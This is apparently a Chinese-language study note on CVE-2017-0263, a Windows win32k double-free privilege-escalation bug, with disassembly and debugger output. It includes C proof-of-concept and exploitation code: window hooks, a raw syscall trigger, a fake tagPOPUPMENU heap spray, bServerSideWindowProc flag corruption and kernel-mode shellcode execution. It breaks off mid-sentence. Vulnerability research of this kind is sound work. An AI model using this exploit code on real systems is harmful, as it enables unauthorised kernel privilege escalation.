<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    CVE-2017-0263提權漏洞學習筆記

    VSole2022-07-10 16:56:26

    前言

    1.漏洞描述

    在win32k!xxxMNEndMenuState函數中,函數會調用MNFreePopup函數釋放tagPOPUPMENU對象,但是函數釋放對象以后,沒有清空指針。而在彈出窗口過程中,用戶可以劫持相應的處理函數來實現兩次調用xxxMNEndMenuState函數,因為雙重釋放導致BSOD的產生。通過內存布局,可以偽裝tagPOPUPMENU對象在釋放的內存空間中,通過解引用修改窗口對象的關鍵的標志位,可以通過SendMessage函數讓窗口在內核態執行指定的處理函數實現提權操作。

    2.實驗環境

    • 操作系統:Win7 x86 sp1 專業版
    • 編譯器:Visual Studio 2017
    • 調試器:IDA Pro, WinDbg

    漏洞分析

    1.成因分析

    圖1是win32k!xxxMNEndMenuState函數與本漏洞有關的關鍵代碼,共有三個關鍵的地方。

    圖1. xxxMNEndMenuState函數

    全局變量gptiCurrent保存的是線程信息結構體tagTHREADINFO,該結構體偏移0x104處保存的是tagMENUSTATE結構體:

    0: kd> dt win32k!tagTHREADINFO -r pMenuState   +0x104 pMenuState : Ptr32 tagMENUSTATE
    

    tagMENUSTATE結構體定義了菜單的狀態,該結構體偏移為0的地方,保存了彈出菜單結構體tagPOPUPMENU:

    0: kd> dt win32k!tagMENUSTATE -r pGlobalPopupMenu   +0x000 pGlobalPopupMenu : Ptr32 tagPOPUPMENU
    

    第一處的代碼就是取出pGlobalPopupMenu,之后在第二處將其作為參數傳入MNFreePopup函數。tagPOPUPMENU結構體定義如下,該結構體存儲關聯的彈出菜單相關的各個內核對象的指針:

    0: kd> dt win32k!tagPOPUPMENU   +0x000 flags            : Uint4B   +0x004 spwndNotify      : Ptr32 tagWND   +0x008 spwndPopupMenu   : Ptr32 tagWND   +0x00c spwndNextPopup   : Ptr32 tagWND   +0x010 spwndPrevPopup   : Ptr32 tagWND   +0x014 spmenu           : Ptr32 tagMENU   +0x018 spmenuAlternate  : Ptr32 tagMENU   +0x01c spwndActivePopup : Ptr32 tagWND   +0x020 ppopupmenuRoot   : Ptr32 tagPOPUPMENU   +0x024 ppmDelayedFree   : Ptr32 tagPOPUPMENU   +0x028 posSelectedItem  : Uint4B   +0x02c posDropped       : Uint4B
    

    圖2是MNFreePopup函數的反匯編結果,該函數的第二處代碼會將傳入的參數tagPopupMenu釋放,可是釋放之后,卻沒有把tagPopupMenu的指針置為空,如果再次進入該函數,就會對相同的內存進行釋放,就會導致BSOD的產生。

    圖2 MNFreePopup函數反匯編

    2.xxxTrackPopupMenuEx函數分析

    漏洞的觸發需要調用TrackPopupMenuEx函數,該函數通過調用內核函數xxxTrackPopupMenuEx函數實現,xxxTrackPopupMenuEx實現了很多功能,具體可以看參考鏈接中Leeqwind師傅的分析,這里只講幾個關鍵的步驟。

    首先,函數會調用xxxCreateWindowEx創建類名"#32768"窗口:

    .text:BF93F432                 xor     ecx, ecx.text:BF93F434                 push    ecx             ; int.text:BF93F435                 push    601h            ; int.text:BF93F43A                 push    ecx             ; int.text:BF93F43B                 movzx   ebx, ax.text:BF93F43E                 mov     eax, [ebp+P].text:BF93F441                 push    dword ptr [eax+24h] ; int.text:BF93F444                 and     edx, 40000000h.text:BF93F44A                 push    ecx             ; int.text:BF93F44B                 shr     ebx, 0Fh.text:BF93F44E                 and     ebx, 1.text:BF93F451                 neg     edx.text:BF93F453                 sbb     edx, edx.text:BF93F455                 and     edx, eax.text:BF93F457                 push    edx             ; int.text:BF93F458                 push    64h             ; int.text:BF93F45A                 push    64h             ; int.text:BF93F45C                 push    [ebp+yTop]      ; int.text:BF93F45F                 mov     esi, 8000h.text:BF93F464                 push    [ebp+xLeft]     ; int.text:BF93F467                 push    80800000h       ; int.text:BF93F46C                 push    ecx             ; int.text:BF93F46D                 push    esi             ; int.text:BF93F46E                 push    esi             ; Str1.text:BF93F46F                 push    181h            ; int.text:BF93F474                 call    _xxxCreateWindowEx@60     // 創建窗口.text:BF93F479                 mov     edi, eax.text:BF93F47B                 mov     [ebp+var_pWnd], edi.text:BF93F47E                 test    edi, edi.text:BF93F480                 jnz     short loc_BF93F489
    

    在xxxCreateWindowEx函數中,在對創建的窗口成員賦值之后,就會調用xxxSendMessage向窗口發送WM_NCCREATE消息:

    .text:BF89C81F                 lea     eax, [ebp+Dst].text:BF89C825                 push    eax             ; Src.text:BF89C826                 push    esi             ; UnicodeString.text:BF89C827                 push    WM_NCCREATE     ; MbString.text:BF89C82C                 push    ebx             ; P.text:BF89C82D                 call    _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x).text:BF89C832                 test    eax, eax.text:BF89C834                 jnz     loc_BF89C8CA
    

    調用完xxxCreateWindowEx函數后,xxxTrackPopupMenuEx函數會調用xxxSetWindowPos函數將菜窗口顯示到屏幕中:

    .text:BF93F844                 mov     eax, [edi+4].text:BF93F847                 shr     eax, 8.text:BF93F84A                 mov     ecx, eax.text:BF93F84C                 shl     ecx, 4.text:BF93F84F                 not     ecx.text:BF93F851                 and     ecx, 10h.text:BF93F854                 or      ecx, 241h.text:BF93F85A                 push    ecx.text:BF93F85B                 mov     ecx, [ebp+P].text:BF93F85E                 xor     ebx, ebx.text:BF93F860                 push    ebx.text:BF93F861                 shr     ecx, 10h.text:BF93F864                 push    ebx.text:BF93F865                 movsx   ecx, cx.text:BF93F868                 push    ecx.text:BF93F869                 movsx   ecx, word ptr [ebp+P].text:BF93F86D                 push    ecx.text:BF93F86E                 push    ebx.text:BF93F86F                 test    al, 1.text:BF93F871                 pop     eax.text:BF93F872                 setnz   al.text:BF93F875                 dec     eax.text:BF93F876                 push    eax.text:BF93F877                 push    [ebp+var_pWnd].text:BF93F87A                 call    _xxxSetWindowPos@28
    

    相關窗口位置和狀態完成改變之后,xxxSetWindowPos函數會調用xxxEndDeferWindowPosEx函數:

    .text:BF89E55A                 mov     ecx, [ebp+arg_18].text:BF89E55D                 and     ecx, 4000h.text:BF89E563                 push    ecx             ; int.text:BF89E564                 push    eax             ; P.text:BF89E565                 call    _xxxEndDeferWindowPosEx@8
    

    xxxEndDeferWindowPosEx函數會繼續調用xxxSendChangedMsgs函數:

    .text:BF89E317                 push    edi.text:BF89E318                 call    _xxxSendChangedMsgs@4
    

    xxxSendChagedMsgs函數則根據SWP_HIDEWINDOW狀態標志位來選擇調用xxxRemoveShadow函數刪除陰影窗口或調用xxxAddShadow函數來增加陰影窗口:

    .text:BF889ACE                 test    byte ptr [esi+18h], SWP_HIDEWINDOW.text:BF889AD2                 jz      short loc_BF889ADA.text:BF889AD4                 push    edi.text:BF889AD5                 call    _xxxRemoveShadow@4 // 刪除陰影窗口.text:BF889ADA.text:BF889ADA loc_BF889ADA:                           .text:BF889ADA                 test    byte ptr [esi+18h], SWP_SHOWWINDOW.text:BF889ADE                 push    edi.text:BF889ADF                 jz      short loc_BF889AF2.text:BF889AE1                 call    _ShouldHaveShadow@4 ; ShouldHaveShadow(x).text:BF889AE6                 test    eax, eax.text:BF889AE8                 jz      short loc_BF889B24.text:BF889AEA                 push    edi             .text:BF889AEB                 call    _xxxAddShadow@4    // 增加陰影窗口
    

    陰影窗口通過以下的結構體中的next指針連接,第一個結構體的地址保存在了全局變量gpshadowFirst中。

    struct SHADOWWINDOW{    HWND hWnd;                // 擁有陰影窗口的窗口句柄    HWND pwndShadow;          // 陰影窗口的句柄    SHADOWWINDOW *next;       // 下一個SHADOWWINDOW結構體的地址};
    

    在xxxAddShadow函數中,函數會首先申請0x0C大小的內存用來保存SHADOWWINDOW結構體:

    .text:BF9445A3                 push    'dssU'          ; Tag.text:BF9445A8                 push    0Ch             ; NumberOfBytes.text:BF9445AA                 push    PagedPoolSession ; PoolType.text:BF9445AC                 call    ds:__imp__ExAllocatePoolWithTag@12  // 申請用來保存陰影窗口的結構體.text:BF9445B2                 mov     edi, eax                            // 申請到的地址賦給edi
    

    接著就會創建陰影窗口,從參數可以看出,陰影窗口沒有自己的消息處理例程:

    .text:BF944564                 xor     ebx, ebx.text:BF9445D6                 push    ebx             ; int.text:BF9445D7                 movzx   eax, _gatomShadow.text:BF9445DE                 push    601h            ; int.text:BF9445E3                 push    ebx             ; int.text:BF9445E4                 push    _hModuleWin     ; int.text:BF9445EA                 push    ebx             ; int.text:BF9445EB                 push    ebx             ; int.text:BF9445EC                 push    ebx             ; int.text:BF9445ED                 push    ebx             ; int.text:BF9445EE                 push    ebx             ; int.text:BF9445EF                 push    ebx             ; int.text:BF9445F0                 push    80000000h       ; int.text:BF9445F5                 push    ebx             ; int.text:BF9445F6                 push    eax             ; int.text:BF9445F7                 push    eax             ; Str1.text:BF9445F8                 push    ecx             ; int.text:BF9445F9                 call    _xxxCreateWindowEx@60      // 創建陰影窗口.text:BF9445FE                 mov     esi, eax                         // 創建的窗口句柄賦給esi
    

    在申請的內存將結構體的成員賦值,并將申請的結構體加入到全局變量gpshadowFirst所指的單向鏈表中,此時新增的陰影窗口就會是第一個。

    .text:BF94466E                 mov     eax, _gpshadowFirst ; 將第一個陰影窗口地址賦給eax.text:BF944673                 mov     [edi+8], eax    ; 將窗口地址賦給Next.text:BF944676                 mov     eax, [ebp+arg_0] ; 將窗口pwnd賦給eax.text:BF944679                 mov     _gpshadowFirst, edi ; 將gpshadowFirst指向新申請的內存地址.text:BF94467F                 mov     [edi], eax      ; 將eax賦給hWnd.text:BF944685                 mov     [edi+4], esi    ; 將創建的陰影窗口的句柄賦給pwndShadow
    

    xxxRemoveShadow刪除陰影窗口的功能,就會是從gpshadowFirst全局變量中找到第一個符合要求的陰影窗口,銷毀陰影窗口,并將增加陰影窗口時候申請的用來保存信息的0x0C的內存釋放掉。

    .text:BF88D31C ; __stdcall xxxRemoveShadow(x).text:BF88D31C _xxxRemoveShadow@4 proc near     .text:BF88D31C arg_0           = dword ptr  8.text:BF88D31C                 mov     edi, edi.text:BF88D31E                 push    ebp.text:BF88D31F                 mov     ebp, esp.text:BF88D321                 xor     eax, eax        ; eax清0.text:BF88D323                 mov     edx, offset _gpshadowFirst.text:BF88D328                 cmp     _gpshadowFirst, eax ; 驗證是否有陰影窗口.text:BF88D32E                 jz      short loc_BF88D35C.text:BF88D330                 push    esi.text:BF88D331.text:BF88D331 loc_BF88D331:                           .text:BF88D331                 mov     ecx, [edx]      ; 將陰影窗口地址賦給ecx.text:BF88D333                 mov     esi, [ecx]      ; 取出陰影窗口的pwnd.text:BF88D335                 cmp     esi, [ebp+arg_0] ; 判斷是否是目標pwnd.text:BF88D338                 jz      short loc_BF88D343 ; 是的話跳轉到刪除陰影窗口的代碼執行.text:BF88D33A                 lea     edx, [ecx+8]    ; 取出下一個陰影窗口的地址.text:BF88D33D                 cmp     [edx], eax      ; 判斷是否有下一個陰影窗口.text:BF88D33F                 jz      short loc_BF88D35B ; 沒有則退出.text:BF88D341                 jmp     short loc_BF88D331 ; 將陰影窗口地址賦給ecx.text:BF88D343 ; ---------------------------------------------------------------------------.text:BF88D343.text:BF88D343 loc_BF88D343:                           ; .text:BF88D343                 mov     esi, [ecx+4]    ; 取出pwndShadow賦給esi.text:BF88D346                 push    edi.text:BF88D347                 mov     edi, [ecx+8]    ; 取出下一個陰影窗口.text:BF88D34A                 push    eax             ; Tag.text:BF88D34B                 push    ecx             ; P.text:BF88D34C                 mov     [edx], edi      ; 將陰影窗口從鏈表中去除.text:BF88D34E                 call    ds:__imp__ExFreePoolWithTag@8 ; 釋放掉保存這塊陰影窗口信息的內存.text:BF88D354                 push    esi             ; 傳入要刪除的陰影窗口的句柄,銷毀掉窗口.text:BF88D355                 call    _xxxDestroyWindow@4 .text:BF88D35A                 pop     edi.text:BF88D35B.text:BF88D35B loc_BF88D35B:                          .text:BF88D35B                 pop     esi.text:BF88D35C.text:BF88D35C loc_BF88D35C:                           .text:BF88D35C                 pop     ebp.text:BF88D35D                 retn    4.text:BF88D35D _xxxRemoveShadow@4 endp
    

    xxxSetWindowPos執行完成后,xxxTrackPopupMenuEx函數會調用xxxWindowEvent函數發送EVENT_SYSTEM_MENUPOPUPSTART通知事件:

    .text:BF93F8C9                 push    ebx.text:BF93F8CA                 push    ebx.text:BF93F8CB                 push    0FFFFFFFCh.text:BF93F8CD                 push    [ebp+var_4].text:BF93F8D0                 push    EVENT_SYSTEM_MENUPOPUPSTART.text:BF93F8D2                 call    _xxxWindowEvent@20
    

    總結一下,xxxTrackPopupMenuEx函數會做的三件事情:

    ① 調用xxxCreateWindowEx創建類名為"#32768"的窗口,在創建過程中,會調用xxxSendMessage發送WM_NCCREATE消息;

    ② 調用xxxSetWindowPos將窗口顯示到屏幕中,在此過程中會創建陰影窗口,陰影窗口沒有自己的處理例程,在用戶層可以對其完成設置;

    ③ 調用xxxWindowEvent函數發送EVENT_SYSTEM_MENUPOPUPSTART通知事件。

    3.漏洞觸發

    在xxxTrackPopupMenuEx函數執行過程中,完成窗口創建以后,會發送WM_NCCREATE消息和EVENT_SYSTEM_MENUPOPUPSTART通知事件,而用戶可以通過HOOK操作實現對這兩個操作的劫持,執行用戶想要的代碼,觸發上述存在的雙重釋放帶來的BSOD,此時對消息和事件的劫持的代碼如下:

    BOOL POC_CVE_2017_0263(){    BOOL bRet = TRUE;     HMODULE handle = NULL;     handle = GetModuleHandle(NULL);    if (!handle)    {        ShowError("GetModuleHandle", GetLastError());        bRet = FALSE;        goto exit;    }     HMENU hpopupMenu[2] = { 0 };     // 創建兩個彈出菜單窗口    hpopupMenu[0] = CreatePopupMenu();    hpopupMenu[1] = CreatePopupMenu();     if (!hpopupMenu[0] || !hpopupMenu[1])    {        ShowError("CreatePopupMenu", GetLastError());        bRet = FALSE;        goto exit;    }     LPCSTR szMenuItem = "item";    MENUINFO mi = { 0 };     mi.cbSize = sizeof(mi);    mi.fMask = MIM_STYLE;    mi.dwStyle = MNS_AUTODISMISS | MNS_MODELESS | MNS_DRAGDROP;     // 設置創建的菜單的屬性,讓它們變成非模態對話框    if (!SetMenuInfo(hpopupMenu[0], &mi) ||        !SetMenuInfo(hpopupMenu[1], &mi))    {        ShowError("CreatePopupMenu", GetLastError());        bRet = FALSE;        goto exit;    }     // 為菜單添加菜單項,第二個窗口為第一個窗口子菜單    if (!AppendMenu(hpopupMenu[0], MF_BYPOSITION | MF_POPUP, (UINT_PTR)hpopupMenu[1], szMenuItem) ||        !AppendMenu(hpopupMenu[1], MF_BYPOSITION | MF_POPUP, 0, szMenuItem))    {        ShowError("AppendMenuA", GetLastError());        bRet = FALSE;        goto exit;    }     HWND hWindowMain = NULL;    WNDCLASSEX wc = { 0 };    char *szClassName = "WNDCLASSMAIN";     wc.cbSize = sizeof(wc);    wc.lpfnWndProc = DefWindowProc;    wc.hInstance = handle;    wc.lpszClassName = szClassName;     if (!RegisterClassEx(&wc))    {        ShowError("RegisterClassEx", GetLastError());        bRet = FALSE;        goto exit;    }     // 創建窗口為彈出菜單的擁有者    hWindowMain = CreateWindowEx(WS_EX_LAYERED |                                 WS_EX_TOOLWINDOW |                                 WS_EX_TOPMOST,                                 szClassName,                                 NULL,                                 WS_VISIBLE,                                 0,                                 0,                                 1,                                 1,                                 NULL,                                 NULL,                                 handle,                                 NULL);    if (!hWindowMain)    {        ShowError("CreateWindowEx", GetLastError());        bRet = FALSE;        goto exit;    }     // 設置消息HOOK    if (!SetWindowsHookEx(WH_CALLWNDPROC,                          (HOOKPROC)WinHookProc_CVE_2017_0263,                          handle,                          GetCurrentThreadId()))    {        ShowError("SetWindowHookEx", GetLastError());        bRet = FALSE;        goto exit;    }     // 設置EVENT_SYSTEM_MENUPOPUPSTART事件處理函數    SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART,                    EVENT_SYSTEM_MENUPOPUPSTART,                        handle,                    WinEventProc_CVE_2017_0263,                    GetCurrentProcessId(),                    GetCurrentThreadId(),                    0);     // 觸發漏洞    if (!TrackPopupMenuEx(hpopupMenu[0], 0, 0, 0, hWindowMain, NULL))    {        ShowError("TrackPopupMenuEx", GetLastError());        bRet = FALSE;        goto exit;    }     MSG msg = { 0 };    while (GetMessage(&msg, NULL, 0, 0))    {        TranslateMessage(&msg);        DispatchMessage(&msg);    } exit:    return bRet;}
    

    在執行的代碼中就要實現兩次調用xxxMNEndMenuState,該函數的調用可以通過發送MN_ENDMENU消息,以及NtUserMNDraLeave系統調用來實現。而在圖1的第三處代碼的最后,函數會將tagMENUSTATE的pmnsPrev賦值給tagTHREADINFO的pMenuState,pmnsPrev通常為0,一旦完成了這個設置,即使再次進入xxxMNEndMenuState,也會在第一處的代碼的驗證中跳過第二處代碼,即跳過MNFreePopup函數的調用。

    0: kd> dt win32k!tagMENUSTATE   +0x020 pmnsPrev         : Ptr32 tagMENUSTATE
    

    因此,需要在最后的賦值之前產生第二個函數的調用,而在賦值之前,函數會對tagMENUSTATE的uButtonDownHitArea調用UnlockMFMWFPWindow函數。

    0: kd> dt win32k!tagMENUSTATE   +0x02c uButtonDownHitArea : Uint4B
    

    uButtonDownHitArea成員保存著當前鼠標按下的坐標區域所屬的窗口對象地址,UnlockMFMWFPWindow函數會對窗口對象進行釋放,當計數為0的時候會銷毀窗口,此時會銷毀與該窗口關聯的陰影窗口。此外,通過發送WM_ENDMENU消息銷毀觸發漏洞函數的時候,會刪除兩個陰影窗口。

    綜上,漏洞觸發的思路如下,首先在消息處理例程中,會創建三個陰影窗口,且為第三個陰影窗口設置消息處理例程。

    LRESULT CALLBACK WinHookProc_CVE_2017_0263(int code, WPARAM wParam, LPARAM lParam){    tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;     if (cwp->message == WM_NCCREATE)    {        CHAR szTemp[0x20] = { 0 };         if (!GetClassName(cwp->hwnd, szTemp, 0x14))        {            ShowError("GetClassName", GetLastError());        }         if (strcmp(szTemp, "#32768") == 0)        {            g_hwndMenuHit_2017_0263 = cwp->hwnd;        }        else if (strcmp(szTemp, "SysShadow") == 0 && g_hwndMenuHit_2017_0263)        {            g_dwShadowCount_2017_0263++;             if (g_dwShadowCount_2017_0263 == 3)            {                // 為第三個陰影窗口設置處理函數                if (!SetWindowLong(cwp->hwnd,                                   GWL_WNDPROC,                                   (ULONG)ShowdowWinProc_CVE_2017_0263))                {                    ShowError("SetWindowLong", GetLastError());                }            }            else            {                // 設置窗口先隱藏在顯示,這樣會創建陰影窗口                if (!SetWindowPos(g_hwndMenuHit_2017_0263, NULL, 0, 0, 0, 0,                    SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_HIDEWINDOW) ||                    !SetWindowPos(g_hwndMenuHit_2017_0263, NULL, 0, 0, 0, 0,                        SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_SHOWWINDOW))                {                    ShowError("SetWindowPos", GetLastError());                }            }        }    }     return CallNextHookEx(0, code, wParam, lParam);}
    

    在事件處理例程中,第一次進入的時候會發送WM_LBUTTONDOW消息,這樣uButtonDowHitArea成員域就會存傳當前鼠標按下的區域所屬的窗口對象,系統在處理WM_LBUTTONDOWN消息的時候,會再次進入到事件處理例程中,此時就通過發送MN_ENDMENU消息來調用xxxMNEndMenuState函數。

    VOID CALLBACK WinEventProc_CVE_2017_0263(HWINEVENTHOOK hWinEventHook,                                         DWORD         event,                                         HWND          hwnd,                                         LONG          idObject,                                         LONG          idChild,                                         DWORD         idEventThread,                                         DWORD         dwmsEventTime){    if (++g_dwCount_2017_0263 >= 2)    {        // 發送銷毀菜單消息        SendMessage(hwnd, MN_ENDMENU, 0, 0);    }    else    {        // 發生鼠標左鍵按下消息        SendMessage(hwnd, WM_LBUTTONDOWN, 1, 0x00020002); // (2,2)    }}
    


    在處理MN_ENDMUEN消息過程中,會刪除兩個陰影窗口,當xxxMNEndMenuState函數執行到圖1中第三處對uButtonDownHitArea調用UnlockMFMWFPWindow函數的時候,又會刪除第三個陰影窗口,就會觸發為陰影窗口設置的處理函數。在處理函數中,通過NtUserMNDraLeave函數來再次調用xxxMNEndMenuState函數。

    LRESULT WINAPI ShowdowWinProc_CVE_2017_0263(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam){    // 銷毀陰影窗口的時候再次觸發漏洞    if (msg == WM_NCDESTROY)    {        CallNtUserMNDraLeave();    }     return DefWindowProc(hwnd, msg, wParam, lParam);} void __declspec(naked) CallNtUserMNDraLeave(){    __asm    {        mov eax, 0x11EC   // NtUserMNDraLeave調用號        int 0x2E        ret    }}
    

    在xxxMNEndMenuState函數中下斷點,編譯運行POC,可以看到第一次是由發送WM_ENDMENU消息來調用函數:

    3: kd> ba e1 win32k!xxxMNEndMenuState3: kd> gBreakpoint 0 hitwin32k!xxxMNEndMenuState:83745fd2 8bff            mov     edi,edi0: kd> kb # ChildEBP RetAddr      Args to Child              00 91849b0c 8373f03f     00000001 fea13cb0 000001f3 win32k!xxxMNEndMenuState01 91849b54 836b94f3     fea10cd0 000001f3 00000000 win32k!xxxMenuWindowProc+0xcc102 91849b94 83679709     fea13cb0 000001f3 00000000 win32k!xxxSendMessageTimeout+0x1ac03 91849bbc 83686330     fea13cb0 000001f3 00000000 win32k!xxxWrapSendMessage+0x1c04 91849bd8 836bb4cd     fea13cb0 000001f3 00000000 win32k!NtUserfnNCDESTROY+0x2705 91849c10 83e7d1ea     0002017c 000001f3 00000000 win32k!NtUserMessageCall+0xc9
    


    第二次就是通過NtUserMNDraLeave來調用的:

    0: kd> gBreakpoint 0 hitwin32k!xxxMNEndMenuState:83745fd2 8bff            mov     edi,edi0: kd> kb # ChildEBP RetAddr      Args to Child              00 977e1c08 8377f0f8     00000001 977e1c34 8376e834 win32k!xxxMNEndMenuState01 977e1c14 8376e834     8381f580 0012fb78 7420a970 win32k!xxxUnlockMenuState+0x2002 977e1c24 8375c779     7420a970 83e7d1ea 0012fb78 win32k!xxxMNDragLeave+0x4503 977e1c2c 83e7d1ea     0012fb78 004014a7 badb0d00 win32k!NtUserMNDragLeave+0xd
    

    繼續向下運行,就會因為釋放已經被釋放的內存產生BSOD錯誤。


    漏洞利用

    想要不產生BSOD錯誤,就需要在第二處釋放之前,構造數據填入釋放的內存。這里通過SetClassLong函數實現,該函數定義如下:

    DWORD SetClassLong(HWND hWnd,                   int nIndex,                   LONG dwNewLong);
    


    當第二個參數為GCL_MENUNAME的時候,函數會將第三個參數指定的數據寫入到第一個參數指定的窗口的成員中。要找到這些數據,首先要獲取第一個參數的窗口的pcls:

    1: kd> dt win32k!tagWND   +0x064 pcls             : Ptr32 tagCLS
    

    pcls對應的是tagCLS結構體,該結構體的lpszMenuName保存的地址就保存了調用SetClassLong時指定的第三個參數中的數據。

    2: kd> dt win32k!tagCLS   +0x050 lpszMenuName     : Ptr32 Uint2B
    


    因此,在觸發漏洞之前需要先創建一些窗口:

            DWORD i = 0;     // 創建用于后面填充釋放的內存    for (i = 0; i < 0x100; i++)    {        WNDCLASSEX Class = { 0 };        CHAR szTemp[20] = { 0 };        HWND hwnd = NULL;         wsprintf(szTemp, "%x-%d", rand(), i);        Class.cbSize = sizeof(WNDCLASSEXA);        Class.lpfnWndProc = DefWindowProc;        Class.cbWndExtra = 0;        Class.hInstance = handle;        Class.lpszMenuName = NULL;        Class.lpszClassName = szTemp;        if (!RegisterClassEx(&Class))        {            ShowError("RegisterClassEx", GetLastError());            continue;        }        hwnd = CreateWindowEx(0,                               szTemp,                              NULL,                              WS_OVERLAPPED,                              0, 0, 0, 0,                              NULL,                              NULL,                              handle,                              NULL);        if (!hwnd)        {            ShowError("CreateWindowEx", GetLastError());            continue;        }        g_hWindowList_2017_0263[g_dwWindowCount_2017_0263++] = hwnd;    }
    

    這樣,當第二次調用xxxMNEndMenuState函數的時候,就可以通過偽造的數據來防止BSOD的產生。

                    TAGPOPUPMENU tagPopupMenu = { 0 };         tagPopupMenu.flags = 0x00098208;        tagPopupMenu.spwndNotify = (DWORD)g_pvHeadFake_2017_0263;        tagPopupMenu.spwndPopupMenu = (DWORD)g_pvHeadFake_2017_0263;        tagPopupMenu.spwndNextPopup = (DWORD)g_pvHeadFake_2017_0263;        tagPopupMenu.spwndPrevPopup = (DWORD)g_pvAddrFlags_2017_0263 - 4;        tagPopupMenu.spmenu = (DWORD)g_pvHeadFake_2017_0263;        tagPopupMenu.spmenuAlternate = (DWORD)g_pvHeadFake_2017_0263;        tagPopupMenu.spwndActivePopup = (DWORD)g_pvHeadFake_2017_0263;        tagPopupMenu.ppopupmenuRoot = 0xFFFFFFFF;        tagPopupMenu.ppmDelayedFree = (DWORD)g_pvHeadFake_2017_0263;        tagPopupMenu.posSelectedItem = 0xFFFFFFFF;        tagPopupMenu.psDropped = (DWORD)g_pvHeadFake_2017_0263;        tagPopupMenu.dwReserve = 0;         // 其中某一塊會占用上一次釋放的內存塊        for (DWORD i = 0; i < g_dwWindowCount_2017_0263; i++)        {            SetClassLongW(g_hWindowList_2017_0263[i], GCL_MENUNAME, (DWORD)&tagPopupMenu);        }         // 再次釋放內存,導致bServerSideWindowProc標志位置位        CallNtUserMNDraLeave();
    


    但是,從圖2可以看到,在釋放tagPOPUPMENU之前,會對其成員進行解引用,所以偽裝的數據所指向的地址應當符合窗口對象的要求,此時就通過創建一個新得窗口,并為其設置擴展區域,偽造的tagPOPUPMENU中的成員指向的就是擴展區域,通過設置擴展區域中的數據來讓偽造的tagPOPUPMENU中的成員所指的窗口有效。

            WNDCLASSEX wc = { 0 };    char *szClassName = "WNDCLASSHUNT";     wc.cbSize = sizeof(wc);    wc.lpszClassName = szClassName;    wc.cbWndExtra = 0x200;    wc.lpfnWndProc = DefWindowProc;    wc.hInstance = handle;     if (!RegisterClassEx(&wc))    {        ShowError("RegisterClassEx", GetLastError());        bRet = FALSE;        goto exit;    }     g_hWindowHunt_2017_0263 = CreateWindowEx(WS_EX_LEFT,                                              szClassName,                                              NULL,                                              WS_OVERLAPPED,                                             0, 0, 1, 1,                                             NULL,                                             NULL,                                             handle,                                             NULL);    if (!g_hWindowHunt_2017_0263)    {        ShowError("CreateWindowEx", GetLastError());        bRet = FALSE;        goto exit;    }     PTHRDESKHEAD head = (PTHRDESKHEAD)HMValidateHandle(g_hWindowHunt_2017_0263, TYPE_WINDOW);     // 預留4字節    PBYTE pbExtra = (PBYTE)head->pSelf + 0xB0 + 4;     // 用來賦值偽造的tagPOPUPMENU    g_pvHeadFake_2017_0263 = pbExtra + 0x44;     // 將剩余內存空間的內容保存為擴展空間的首地址    for (i = 1; i <= 0x80; i++)    {        SetWindowLongW(g_hWindowHunt_2017_0263, sizeof(DWORD) * i, (DWORD)pbExtra);    }     PVOID pti = head->h.pti;     // 偽裝tagPOPUPMENU中的窗口的成員    SetWindowLongW(g_hWindowHunt_2017_0263, 0x28, 0);    SetWindowLongW(g_hWindowHunt_2017_0263, 0x50, (LONG)pti); // pti    SetWindowLongW(g_hWindowHunt_2017_0263, 0x6C, 0);    SetWindowLongW(g_hWindowHunt_2017_0263, 0x1F8, 0xC033C033);    SetWindowLongW(g_hWindowHunt_2017_0263, 0x1FC, 0xFFFFFFFF);
    

    想要完成提權操作,需要ShellCode在內核模式下執行,這里需要用到bServerSideWindowProc標志位:

    0: kd> dt win32k!tagWND   +0x000 head             : _THRDESKHEAD   +0x014 state            : Uint4B   +0x014 bDialogWindow    : Pos 16, 1 Bit   +0x014 bHasCreatestructName : Pos 17, 1 Bit   +0x014 bServerSideWindowProc : Pos 18, 1 Bit   +0x014 bDestroyed       : Pos 31, 1 Bit   +0x018 state2           : Uint4B
    


    當調用SendMessage向窗口發送消息的時候,內核會通過xxxSendMessageTimeout來實現功能,而在該函數中,會判斷bServerSideWindowProc是否置位,如果置為則會調用指定的消息處理例程。

    .text:BF8B94C0                 test    byte ptr [esi+16h], 4 ; tagWND->bServerSideWindowProc.text:BF8B94C8                 jz      short loc_BF8B9505 .text:BF8B94E8                 push    [ebp+Src].text:BF8B94EB                 push    dword ptr [ebp+UnicodeString].text:BF8B94EE                 push    ebx.text:BF8B94EF                 push    esi.text:BF8B94F0                 call    dword ptr [esi+60h] ; call tagWND->lpfnWndProc .text:BF8B9505                 push    0               ; int.text:BF8B9507                 push    0               ; int.text:BF8B9509                 push    [ebp+Src]       ; Src.text:BF8B950C                 push    dword ptr [ebp+UnicodeString] ; UnicodeString.text:BF8B950F                 push    ebx             ; MbString.text:BF8B9510                 push    esi             ; P.text:BF8B9511                 call    _xxxSendMessageToClient@28
    

    所以,在偽造的tagPOPUPMENU對象的spwndPrevPopup成員賦值為bServerSideWindowProc標志位偏移-4的地址,這樣在圖2的第一處的代碼中成員進行解引用的時候,會將偏移為4的clockObj減一,這樣就會將bServerSideWindowProc置位。

    // 獲取關鍵標志位的地址g_pvAddrFlags_2017_0263 = (PVOID)((DWORD)head->pSelf + 0x16); // 指定窗口的消息處理例程SetWindowLongW(g_hWindowHunt_2017_0263, GWL_WNDPROC, (DWORD)pvShellCode->pfnWinProc);
    

    因此,第二次釋放內存之后,就會將bServerSideWindowProc置位,這樣對窗口發送消息后,就會在內核模式下執行ShellCode實現提權。

    // 再次釋放內存,導致bServerSideWindowProc標志位置位CallNtUserMNDraLeave(); // 發送消息執行ShellCodeDWORD dwRet = SendMessageW(g_hWindowHunt_2017_0263, 0x9F9F, g_dwPopupMenuRoot_2017_0263, 0);
    


    但這里有個問題,第二次釋放的偽造的tagPOPUOMENU內存在線程退出的時候,程序會對它進行釋放,此時因為漏洞的第二次釋放的時候已經釋放過這塊內存了,就導致線程退出時候的釋放是一塊已經被釋放的內存,就會造成BSOD的產生:

